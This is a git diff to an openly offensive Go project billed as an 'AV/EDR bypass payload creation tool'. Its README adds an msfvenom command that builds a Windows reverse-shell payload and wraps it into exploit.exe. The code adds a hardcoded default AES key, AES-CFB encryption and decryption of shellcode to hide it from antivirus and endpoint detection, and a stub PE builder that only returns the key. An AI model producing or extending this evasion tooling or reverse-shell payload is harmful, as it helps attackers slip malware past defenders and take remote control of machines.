diff --git a/README.md b/README.md
@@ -2,3 +2,14 @@
AV/EDR bypass payload creation tool
+## Usage
+
+Generate a payload like so:
+
+```bash
+# generate your payload
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=80 -f raw -o msf.raw
+
+# run myph
+./myph --shellcode msf.raw --outfile exploit.exe
+```
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -4,7 +4,8 @@ package cli
func GetDefaultCLIOptions() Options {
opts := Options{
ShellcodePath: "",
- Outfile: "slipak",
+ AesKey: "VerySecretAESKey",
+ Outfile: "myph-out",
}
return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -2,6 +2,8 @@ package cli
import (
"github.com/spf13/cobra"
+
+ "github.com/cmepw/myph/loader"
)
func GetParser(opts *Options) *cobra.Command {
@@ -23,6 +25,7 @@ func GetParser(opts *Options) *cobra.Command {
cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "o", defaults.Outfile, "output filepath")
cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
+ cmd.PersistentFlags().StringVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "aes shellcode encryption key")
return cmd
}
diff --git a/cli/types.go b/cli/types.go
@@ -7,4 +7,7 @@ type Options struct {
// Outfile path
Outfile string
+
+ // AES shellcode encryption secret
+ AesKey string
}
diff --git a/loader/aes.go b/loader/aes.go
@@ -0,0 +1,57 @@
+package loader;
+
+
+import (
+ "bytes"
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/rand"
+ "errors"
+ "io"
+)
+
+func EncryptPayload(key []byte, payload []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ paddingLen := aes.BlockSize - (len(payload) % aes.BlockSize)
+ paddingText := bytes.Repeat([]byte{byte(paddingLen)}, paddingLen)
+ textWithPadding := append(payload, paddingText...)
+
+ ciphertext := make([]byte, aes.BlockSize+len(textWithPadding))
+ iv := ciphertext[:aes.BlockSize]
+
+ if _, err := io.ReadFull(rand.Reader, iv); err != nil {
+ return nil, err
+ }
+
+ cfbEncrypter := cipher.NewCFBEncrypter(block, iv)
+ cfbEncrypter.XORKeyStream(ciphertext[aes.BlockSize:], textWithPadding)
+
+ return ciphertext, nil
+}
+
+func DecryptPayload(key []byte, payload []byte) ([]byte, error) {
+
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ if (len(payload) % aes.BlockSize) != 0 {
+ return nil, errors.New("payload length should be % of AES blocksize")
+ }
+
+ iv := payload[:aes.BlockSize]
+
+ decodedCipherMsg := payload[aes.BlockSize:]
+ cfbDecrypter := cipher.NewCFBDecrypter(block, iv)
+ cfbDecrypter.XORKeyStream(decodedCipherMsg, decodedCipherMsg)
+
+ length := len(decodedCipherMsg)
+ paddingLen := int(decodedCipherMsg[length-1])
+ result := decodedCipherMsg[:(length - paddingLen)]
+ return result, nil
+}
diff --git a/loader/utils.go b/loader/utils.go
@@ -0,0 +1,12 @@
+package loader;
+
+import (
+)
+
+
+/* Generates full PE file, assuming shellcode has already been encrypted with AES */
+func GetPE(shellcode []byte, aesKey []byte) ([]byte, error) {
+
+
+ return aesKey, nil
+}
| | | | | |